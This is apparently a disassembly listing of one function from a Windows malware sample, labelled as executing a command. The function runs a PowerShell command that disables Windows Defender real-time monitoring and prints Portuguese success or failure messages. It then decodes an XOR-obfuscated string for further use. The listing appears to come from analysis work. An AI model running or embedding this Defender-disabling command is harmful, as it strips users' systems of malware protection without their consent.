Function at 0x14000b5f0
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1401aa0c0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
call fcn.14000b1b0
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, 0x47
lea rdx, str.powershell__Command__Set_MpPreference__DisableRealtimeMonitoring__true_
lea rcx, [rsp + 0x50]
call fcn.1400065a0
nop
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 0xf
cmova rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x14000b853
lea rdx, str.Windows_Defender_foi_desativado_com_sucesso.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400155c0
lea rdx, [0x140015790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000b6c2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b6bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b8b7
call fcn.14011c370
movdqa xmm0, xmmword [0x140191560]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
movabs rax, 0x5b254ce5caa1c1c2
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x50], rax
movabs rax, 0x9f3c5e33a6384d89
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x58], rax
movabs rax, 0x86b47aaad140796d
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x60], rax
movabs rcx, 0xe17e16fb9e75e72
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x68], rax
movabs rax, 0x5b444c88cad2c1af
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x90], rax
movabs rax, 0x9f4f5e1da6564de0
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x98], rax
movabs rax, 0x86b47aaad1227909
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0x20], rcx
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0xa8], rax
vmovdqu ymm0, ymmword [rsp + 0x50]
vpxor ymm1, ymm0, ymmword [rsp + 0x90]
vmovdqu ymmword [rsp + 0x50], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rsp + 0x70], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rsp + 0x80], xmm1
lea rax, [rsp + 0x50]
mov r8, 0xffffffffffffffff
vzeroupper
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000b7e0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140016040
nop
lea rdx, [rsp + 0x70]
cmp qword [rsp + 0x88], 7
cmova rdx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x80]
lea rsi, [rdx + rax*2]
lea rdi, [rsp + 0x70]
cmova rdi, qword [rsp + 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
cmp rdi, rsi
jne 0x14000b8be
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
jmp 0x14000b9c7
lea rdx, str.Falha_ao_desativar_o_Windows_Defender.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400155c0
lea rdx, [0x140015790]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x14000b6c2
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b6bd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b6bd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, rsi
sub rax, rdi
sar rax, 1
xor edx, edx
mov qword [rsp + 0x38], rdx
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rsp + 0x40], rbx
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x14000baa9
cmp rax, rbx
jbe 0x14000b980
mov rbx, rax
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000b938
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.14011c378
mov rcx, rax
test rax, rax
je 0x14000ba19
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x38]
jmp 0x14000b973
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x14000b960
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000baaf
jmp 0x14000b911
test rcx, rcx
je 0x14000b971
call fcn.14011c378
mov rdx, qword [rsp + 0x38]
jmp 0x14000b973
xor eax, eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x40], rbx
nop dword [rax]
lea rcx, [rsp + 0x28]
cmp rbx, 0xf
cmova rcx, qword [rsp + 0x28]
movzx eax, byte [rdi]
mov byte [rdx + rcx], al
mov rdx, qword [rsp + 0x38]
inc rdx
mov qword [rsp + 0x38], rdx
add rdi, 2
cmp rdi, rsi
je 0x14000b9b2
mov rbx, qword [rsp + 0x40]
jmp 0x14000b980
lea rax, [rsp + 0x28]
cmp qword [rsp + 0x40], 0xf
cmova rax, qword [rsp + 0x28]
mov byte [rdx + rax], 0
lea rcx, [rsp + 0x28]
call fcn.14000aed0
mov qword [rsp + 0x20], 5
lea rcx, [rsp + 0x20]
call fcn.1400157d0
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0xf
jbe 0x14000ba25
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ba20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ba20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011c370
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x28], 0
mov rdx, qword [rsp + 0x88]
cmp rdx, 7
jbe 0x14000ba84
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ba7f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000ba7f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14011c370
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14011c350
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140004d70
nop
call fcn.140004cd0
int3